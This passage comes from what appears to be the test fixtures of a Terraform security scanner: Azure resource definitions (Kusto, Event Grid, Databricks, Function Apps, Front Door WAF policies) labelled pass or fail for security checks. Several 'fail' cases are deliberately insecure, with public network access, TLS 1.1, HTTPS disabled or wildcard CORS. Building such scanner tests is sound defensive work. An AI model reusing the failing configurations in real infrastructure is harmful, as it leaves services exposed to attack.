azurerm_resource_group.rg.name\n  offer_type          = \"Standard\"\n  kind                = \"MongoDB\"\n\n  consistency_policy {\n    consistency_level       = \"BoundedStaleness\"\n    max_interval_in_seconds = 300\n    max_staleness_prefix    = 100000\n  }\n\n  geo_location {\n    location          = azurerm_resource_group.rg.location\n    failover_priority = 0\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_DataExplorerSKUHasSLA/main.tf",
    "content": "resource \"azurerm_kusto_cluster\" \"pass\" {\n  name                = \"kustocluster\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  sku {\n    name     = \"Standard_D13_v2\"\n    capacity = 2\n  }\n\n  tags = {\n    Environment = \"Production\"\n  }\n}\n\nresource \"azurerm_kusto_cluster\" \"unknown\" {\n  name                = \"kustocluster\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  tags = {\n    Environment = \"Production\"\n  }\n}\n\nresource \"azurerm_kusto_cluster\" \"fail\" {\n  name                = \"kustocluster\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  sku {\n    name     = \"Dev(No SLA)_Standard_D11_v2\"\n    capacity = 2\n  }\n\n  tags = {\n    Environment = \"Production\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_DataExplorerServiceIdentity/main.tf",
    "content": "resource \"azurerm_kusto_cluster\" \"pass\" {\n  name                = \"kustocluster\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  sku {\n    name     = \"Standard_D13_v2\"\n    capacity = 2\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n  tags = {\n    Environment = \"Production\"\n  }\n}\n\n\nresource \"azurerm_kusto_cluster\" \"fail\" {\n  name                = \"kustocluster\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  sku {\n    name     = \"Dev(No SLA)_Standard_D11_v2\"\n    capacity = 2\n  }\n\n  tags = {\n    Environment = \"Production\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_DataExplorerUsesDiskEncryption/main.tf",
    "content": "\nresource \"azurerm_kusto_cluster\" \"fail\" {\n  name                = \"kustocluster\"\n  location            = azurerm_resource_group.rg.location\n  resource_group_name = azurerm_resource_group.rg.name\n\n  sku {\n    name     = \"Standard_D13_v2\"\n    capacity = 2\n  }\n\n  tags = {\n    Environment = \"Production\"\n  }\n}\n\nresource \"azurerm_kusto_cluster\" \"fail2\" {\n  name                = \"kustocluster\"\n  location            = azurerm_resource_group.rg.location\n  resource_group_name = azurerm_resource_group.rg.name\n\n  sku {\n    name     = \"Standard_D13_v2\"\n    capacity = 2\n  }\n\n  tags = {\n    Environment = \"Production\"\n  }\n  disk_encryption_enabled = false\n}\n\nresource \"azurerm_kusto_cluster\" \"pass\" {\n  name                = \"kustocluster\"\n  location            = azurerm_resource_group.rg.location\n  resource_group_name = azurerm_resource_group.rg.name\n\n  sku {\n    name     = \"Standard_D13_v2\"\n    capacity = 2\n  }\n  tags = {\n    Environment = \"Production\"\n  }\n  disk_encryption_enabled = true\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_DataFactoryUsesGitRepository/main.tf",
    "content": "# pass\n\nresource \"azurerm_data_factory\" \"github\" {\n  location            = azurerm_resource_group.example.location\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n\n  github_configuration {\n    account_name    = \"bridgecrewio\"\n    branch_name     = \"master\"\n    git_url         = \"https://github.com\"\n    repository_name = \"checkov\"\n    root_folder     = \"/\"\n  }\n}\n\nresource \"azurerm_data_factory\" \"vsts\" {\n  location            = azurerm_resource_group.example.location\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n\n  vsts_configuration {\n    account_name    = \"bridgecrewio\"\n    branch_name     = \"master\"\n    project_name    = \"chechov\"\n    repository_name = \"checkov\"\n    root_folder     = \"/\"\n    tenant_id       = \"123456789\"\n  }\n}\n\n# fail\n\nresource \"azurerm_data_factory\" \"fail\" {\n  location            = azurerm_resource_group.example.location\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_DatabricksWorkspaceIsNotPublic/main.tf",
    "content": "resource \"azurerm_databricks_workspace\" \"fail\" {\n  name                = \"databricks-test\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  sku                 = \"standard\"\n\n  tags = {\n    Environment = \"Production\"\n  }\n}\n\nresource \"azurerm_databricks_workspace\" \"fail2\" {\n  name                          = \"databricks-test\"\n  resource_group_name           = azurerm_resource_group.example.name\n  location                      = azurerm_resource_group.example.location\n  sku                           = \"standard\"\n  public_network_access_enabled = true #Defaults to true\n\n  tags = {\n    Environment = \"Production\"\n  }\n}\n\nresource \"azurerm_databricks_workspace\" \"pass\" {\n  name                          = \"databricks-test\"\n  resource_group_name           = azurerm_resource_group.example.name\n  location                      = azurerm_resource_group.example.location\n  sku                           = \"standard\"\n  public_network_access_enabled = false\n\n  tags = {\n    Environment = \"Production\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_EventHubNamespaceMinTLS12/main.tf",
    "content": "resource \"azurerm_eventhub_namespace\" \"pass\" {\n  name                = \"example-namespace\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku                 = \"Standard\"\n  capacity            = 2\n  minimum_tls_version = 1.2\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_eventhub_namespace\" \"pass2\" {\n  name                = \"eventhub-primary\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku                 = \"Standard\"\n}\n\nresource \"azurerm_eventhub_namespace\" \"fail\" {\n  name                = \"eventhub-primary\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku                 = \"Standard\"\n  minimum_tls_version = \"1.1\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_EventHubNamespaceZoneRedundant/main.tf",
    "content": "provider \"azurerm\" {\n  features {}\n}\n\nresource \"azurerm_resource_group\" \"pass\" {\n  name     = \"pass-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_eventhub_namespace\" \"pass\" {\n  name                = \"pass-eventhubns\"\n  location            = azurerm_resource_group.pass.location\n  resource_group_name = azurerm_resource_group.pass.name\n  sku                 = \"Standard\"\n  capacity            = 2\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_resource_group\" \"pass2\" {\n  name     = \"pass2-resources\"\n  location = \"australiaeast\"\n}\n\nresource \"azurerm_eventhub_namespace\" \"pass2\" {\n  name                = \"pass2-eventhubns\"\n  location            = azurerm_resource_group.pass2.location\n  resource_group_name = azurerm_resource_group.pass2.name\n  sku                 = \"Standard\"\n  capacity            = 2\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_eventhub_namespace\" \"unknown\" {\n  name                = \"unknown-eventhubns\"\n  location            = azurerm_resource_group.foo.location\n  resource_group_name = azurerm_resource_group.foo.name\n  sku                 = \"Standard\"\n  capacity            = 2\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_resource_group\" \"fail\" {\n  name     = \"fail-resources\"\n  location = \"South Africa West\"\n}\n\nresource \"azurerm_eventhub_namespace\" \"fail\" {\n  name                = \"fail-eventhubns\"\n  location            = azurerm_resource_group.fail.location\n  resource_group_name = azurerm_resource_group.fail.name\n  sku                 = \"Standard\"\n  capacity            = 2\n  tags = {\n    environment = \"Production\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_EventgridDomainIdentityProviderEnabled/main.tf",
    "content": "\n\nresource \"azurerm_eventgrid_domain\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n}\n\n\nresource \"azurerm_eventgrid_domain\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  identity {\n    type = \"SystemAssigned\"\n  }\n  public_network_access_enabled = false\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_EventgridDomainLocalAuthentication/main.tf",
    "content": "\n\nresource \"azurerm_eventgrid_domain\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n}\n\nresource \"azurerm_eventgrid_domain\" \"fail2\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  identity {\n    type = \"SystemAssigned\"\n  }\n  local_auth_enabled = true\n}\n\nresource \"azurerm_eventgrid_domain\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  identity {\n    type = \"SystemAssigned\"\n  }\n  local_auth_enabled = false\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_EventgridDomainNetworkAccess/main.tf",
    "content": "\n\nresource \"azurerm_eventgrid_domain\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n}\n\nresource \"azurerm_eventgrid_domain\" \"fail2\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  identity {\n    type = \"SystemAssigned\"\n  }\n  public_network_access_enabled = true\n}\n\nresource \"azurerm_eventgrid_domain\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  identity {\n    type = \"SystemAssigned\"\n  }\n  public_network_access_enabled = false\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_EventgridTopicIdentityProviderEnabled/main.tf",
    "content": "resource \"azurerm_eventgrid_topic\" \"fail\" {\n  name                = \"my-eventgrid-topic\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_eventgrid_topic\" \"pass\" {\n  name                = \"my-eventgrid-topic\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n  tags = {\n    environment = \"Production\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_EventgridTopicLocalAuthentication/main.tf",
    "content": "resource \"azurerm_eventgrid_topic\" \"fail\" {\n  name                = \"my-eventgrid-topic\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_eventgrid_topic\" \"fail2\" {\n  name                = \"my-eventgrid-topic\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\nlocal_auth_enabled = true\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_eventgrid_topic\" \"pass\" {\n  name                = \"my-eventgrid-topic\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\nlocal_auth_enabled = false\n  tags = {\n    environment = \"Production\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_EventgridTopicNetworkAccess/main.tf",
    "content": "resource \"azurerm_eventgrid_topic\" \"fail\" {\n  name                = \"my-eventgrid-topic\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_eventgrid_topic\" \"fail2\" {\n  name                = \"my-eventgrid-topic\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  public_network_access_enabled = true\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_eventgrid_topic\" \"pass\" {\n  name                = \"my-eventgrid-topic\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  public_network_access_enabled = false\n  tags = {\n    environment = \"Production\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_FrontDoorWAFACLCVE202144228/main.tf",
    "content": "# pass\n\nresource \"azurerm_frontdoor_firewall_policy\" \"dsr_1_1_default\" {\n  name                = \"example\"\n  resource_group_name = \"example\"\n\n  managed_rule {\n    type    = \"Microsoft_DefaultRuleSet\"\n    version = \"1.1\"\n  }\n}\n\nresource \"azurerm_frontdoor_firewall_policy\" \"dsr_1_0_default\" {\n  name                = \"example\"\n  resource_group_name = \"example\"\n\n  managed_rule {\n    type    = \"DefaultRuleSet\"\n    version = \"1.0\"\n  }\n}\n\nresource \"azurerm_frontdoor_firewall_policy\" \"dsr_1_1_enabled_block\" {\n  name                = \"example\"\n  resource_group_name = \"example\"\n\n  managed_rule {\n    type    = \"Microsoft_DefaultRuleSet\"\n    version = \"1.1\"\n\n    override {\n      rule_group_name = \"JAVA\"\n\n      rule {\n        action  = \"Block\"\n        enabled = true\n        rule_id = \"944240\"\n      }\n    }\n  }\n}\n\nresource \"azurerm_frontdoor_firewall_policy\" \"dsr_1_1_enabled_redirect\" {\n  name                = \"example\"\n  resource_group_name = \"example\"\n\n  managed_rule {\n    type    = \"Microsoft_DefaultRuleSet\"\n    version = \"1.1\"\n\n    override {\n      rule_group_name = \"JAVA\"\n\n      rule {\n        action  = \"Redirect\"\n        enabled = true\n        rule_id = \"944240\"\n      }\n    }\n  }\n}\n\n# fail\n\nresource \"azurerm_frontdoor_firewall_policy\" \"default\" {\n  name                = \"example\"\n  resource_group_name = \"example\"\n}\n\nresource \"azurerm_frontdoor_firewall_policy\" \"dsr_1_1_disabled\" {\n  name                = \"example\"\n  resource_group_name = \"example\"\n\n  managed_rule {\n    type    = \"Microsoft_DefaultRuleSet\"\n    version = \"1.1\"\n\n    override {\n      rule_group_name = \"JAVA\"\n\n      rule {\n        action  = \"Block\"\n        enabled = false\n        rule_id = \"944240\"\n      }\n    }\n  }\n}\n\nresource \"azurerm_frontdoor_firewall_policy\" \"dsr_1_1_disabled_default\" {\n  name                = \"example\"\n  resource_group_name = \"example\"\n\n  managed_rule {\n    type    = \"Microsoft_DefaultRuleSet\"\n    version = \"1.1\"\n\n    override {\n      rule_group_name = \"JAVA\"\n\n      rule {\n        action  = \"Block\"\n        rule_id = \"944240\"\n      }\n    }\n  }\n}\n\nresource \"azurerm_frontdoor_firewall_policy\" \"dsr_1_1_enabled_allow\" {\n  name                = \"example\"\n  resource_group_name = \"example\"\n\n  managed_rule {\n    type    = \"Microsoft_DefaultRuleSet\"\n    version = \"1.1\"\n\n    override {\n      rule_group_name = \"JAVA\"\n\n      rule {\n        action  = \"Allow\"\n        enabled = true\n        rule_id = \"944240\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_FunctionAppAccessibleOverHttps/main.tf",
    "content": "\n## app\n\nresource \"azurerm_function_app\" \"fail\" {\n  name                       = \"test-azure-functions\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n}\nresource \"azurerm_function_app\" \"fail2\" {\n  name                       = \"test-azure-functions\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  https_only = false\n}\nresource \"azurerm_function_app\" \"pass\" {\n  name                       = \"test-azure-functions\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  https_only = true\n}\n\n## app_slot\n\nresource \"azurerm_function_app_slot\" \"fail\" {\n  name                       = \"test-azure-functions_slot\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  function_app_name          = azurerm_function_app.example.name\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n}\nresource \"azurerm_function_app_slot\" \"fail2\" {\n  name                       = \"test-azure-functions_slot\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  function_app_name          = azurerm_function_app.example.name\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  https_only = false\n}\nresource \"azurerm_function_app_slot\" \"pass\" {\n  name                       = \"test-azure-functions_slot\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  function_app_name          = azurerm_function_app.example.name\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  https_only = true\n}\n\n#### linux/windows\n\n## app\n\nresource \"azurerm_linux_function_app\" \"fail\" {\n  name                = \"example-linux-function-app\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  service_plan_id            = azurerm_service_plan.example.id\n\n  site_config {}\n}\nresource \"azurerm_linux_function_app\" \"fail2\" {\n  name                = \"example-linux-function-app\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  service_plan_id            = azurerm_service_plan.example.id\n\n  site_config {}\n  https_only = false\n}\nresource \"azurerm_linux_function_app\" \"fail3\" {\n  name                = \"example-linux-function-app\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  service_plan_id            = azurerm_service_plan.example.id\n\n  site_config {}\n\n  https_only = true\n  auth_settings_v2 {\n    require_https = false\n  }\n}\nresource \"azurerm_linux_function_app\" \"pass\" {\n  name                = \"example-linux-function-app\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  service_plan_id            = azurerm_service_plan.example.id\n\n  site_config {}\n  https_only = true\n}\nresource \"azurerm_linux_function_app\" \"pass2\" {\n  name                = \"example-linux-function-app\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  service_plan_id            = azurerm_service_plan.example.id\n\n  site_config {}\n\n  https_only = true\n  auth_settings_v2 {\n    require_https = true\n  }\n}\n\n## app slot\n\nresource \"azurerm_linux_function_app_slot\" \"fail\" {\n  name                 = \"example-linux-function-app-slot\"\n  function_app_id      = azurerm_linux_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n\n  site_config {}\n}\nresource \"azurerm_linux_function_app_slot\" \"fail2\" {\n  name                 = \"example-linux-function-app-slot\"\n  function_app_id      = azurerm_linux_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n\n  site_config {}\n  https_only = false\n}\nresource \"azurerm_linux_function_app_slot\" \"fail3\" {\n  name                 = \"example-linux-function-app-slot\"\n  function_app_id      = azurerm_linux_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n\n  site_config {}\n  auth_settings_v2 {\n    require_https = false\n  }\n  https_only = true\n}\nresource \"azurerm_linux_function_app_slot\" \"pass\" {\n  name                 = \"example-linux-function-app-slot\"\n  function_app_id      = azurerm_linux_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n\n  site_config {}\n  auth_settings_v2 {}\n  https_only = true\n}\nresource \"azurerm_linux_function_app_slot\" \"pass2\" {\n  name                 = \"example-linux-function-app-slot\"\n  function_app_id      = azurerm_linux_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n\n  site_config {}\n  auth_settings_v2 {\n    require_https = true\n  }\n  https_only = true\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_FunctionAppAccessibleOverHttps_tfplan/example_fua_for_fail_ckv_azure_70.tf",
    "content": "provider \"azurerm\" {\r\n  features {}\r\n}\r\n\r\nvariable \"resource_group_name\" {\r\n  description = \"resource_group_name\"\r\n  type = string\r\n  default = \"default_group_name\"\r\n}\r\n\r\nvariable \"location\" {\r\n  description = \"Azure location name\"\r\n  type = string\r\n  default = \"west\"\r\n}\r\n\r\nresource \"azurerm_storage_account\" \"example\" {\r\n  name                     = \"examples\"\r\n  resource_group_name      = var.resource_group_name\r\n  location                 = var.location\r\n  account_tier             = \"Standard\"\r\n  account_replication_type = \"LRS\"\r\n}\r\n\r\nresource \"azurerm_app_service_plan\" \"example\" {\r\n  name                = \"example-appserviceplan\"\r\n  location            = var.location\r\n  resource_group_name = var.resource_group_name\r\n  sku {\r\n    tier = \"Dynamic\"\r\n    size = \"Y1\"\r\n  }\r\n}\r\n\r\nresource \"azurerm_linux_function_app\" \"example\" {\r\n  name                      = \"example-linux-functionapp\"\r\n  location                  = var.location\r\n  resource_group_name       = var.resource_group_name\r\n  service_plan_id           = azurerm_app_service_plan.example.id\r\n  storage_account_name      = azurerm_storage_account.example.name\r\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\r\n  site_config {\r\n    https_only = true\r\n    \r\n  }\r\n}\r\n\r\noutput \"function_app_endpoint\" {\r\n  value = azurerm_linux_function_app.example.default_hostname\r\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_FunctionAppEnableLogging/main.tf",
    "content": "resource \"azurerm_function_app\" \"fail\" {\n  name                       = \"test-azure-functions\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  https_only                 = false\n  enable_builtin_logging     = false #default is true\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n    min_tls_version          = 1.1\n    ftps_state               = \"AllAllowed\"\n    http2_enabled            = false\n    cors {\n      allowed_origins = [\"*\"]\n    }\n  }\n}\n\nresource \"azurerm_function_app\" \"pass\" {\n  name                       = \"test-azure-functions\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  https_only                 = false\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n    min_tls_version          = 1.1\n    ftps_state               = \"AllAllowed\"\n    http2_enabled            = false\n    cors {\n      allowed_origins = [\"*\"]\n    }\n  }\n}\n\nresource \"azurerm_function_app\" \"pass2\" {\n  name                       = \"test-azure-functions\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  https_only                 = false\n  enable_builtin_logging     = true\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n    min_tls_version          = 1.1\n    ftps_state               = \"AllAllowed\"\n    http2_enabled            = false\n    cors {\n      allowed_origins = [\"*\"]\n    }\n  }\n}\n\nresource \"azurerm_function_app_slot\" \"fail\" {\n  name                       = \"test-azure-functions-slot\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  function_app_name          = azurerm_function_app.example.name\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  enable_builtin_logging     = false\n  site_config {\n    http2_enabled = false\n  }\n  auth_settings {\n    enabled = false\n  }\n}\n\nresource \"azurerm_function_app_slot\" \"pass\" {\n  name                       = \"test-azure-functions-slot\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  function_app_name          = azurerm_function_app.example.name\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  site_config {\n    http2_enabled = false\n  }\n  auth_settings {\n    enabled = false\n  }\n}\n\nresource \"azurerm_function_app_slot\" \"pass2\" {\n  name                       = \"test-azure-functions-slot\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  function_app_name          = azurerm_function_app.example.name\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  enable_builtin_logging     = true\n  site_config {\n    http2_enabled = false\n  }\n  auth_settings {\n    enabled = false\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_FunctionAppHttpVersionLatest/main.tf",
    "content": "\n\nresource \"azurerm_function_app\" \"fail\" {\n  name                       = \"test-azure-functions\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  os_type                    = \"linux\"\n}\n\nresource \"azurerm_function_app\" \"fail2\" {\n  name                       = \"test-azure-functions\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  os_type                    = \"linux\"\n  site_config {\n    http2_enabled = false\n  }\n}\n\nresource \"azurerm_function_app\" \"pass\" {\n  name                       = \"test-azure-functions\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  os_type                    = \"linux\"\n  site_config {\n    http2_enabled = true\n  }\n}\n\nresource \"azurerm_function_app_slot\" \"fail\" {\n  name                       = \"test-azure-functions_slot\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  function_app_name          = azurerm_function_app.example.name\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n}\n\nresource \"azurerm_function_app_slot\" \"fail2\" {\n  name                       = \"test-azure-functions_slot\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  function_app_name          = azurerm_function_app.example.name\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n\n  site_config {\n    http2_enabled = false\n  }\n}\n\nresource \"azurerm_function_app_slot\" \"pass\" {\n  name                       = \"test-azure-functions_slot\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  function_app_name          = azurerm_function_app.example.name\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n\n  site_config {\n    http2_enabled = true\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_FunctionAppMinTLSVersion/main.tf",
    "content": "resource \"azurerm_function_app\" \"fail\" {\n  name                       = \"test-azure-functions\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  https_only                 = false\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n    min_tls_version          = 1.1\n    ftps_state               = \"AllAllowed\"\n    http2_enabled            = false\n    cors {\n      allowed_origins = [\"*\"]\n    }\n  }\n}\n\nresource \"azurerm_function_app_slot\" \"fail2\" {\n  name                       = \"test-azure-functions_slot\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  function_app_name          = azurerm_function_app.example.name\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  site_config {\n    min_tls_version = 1.1\n  }\n}\n\nresource \"azurerm_linux_function_app\" \"fail3\" {\n  name                 = \"example-linux-function-app\"\n  resource_group_name  = azurerm_resource_group.example.name\n  location             = azurerm_resource_group.example.location\n  service_plan_id      = azurerm_service_plan.example.id\n  storage_account_name = 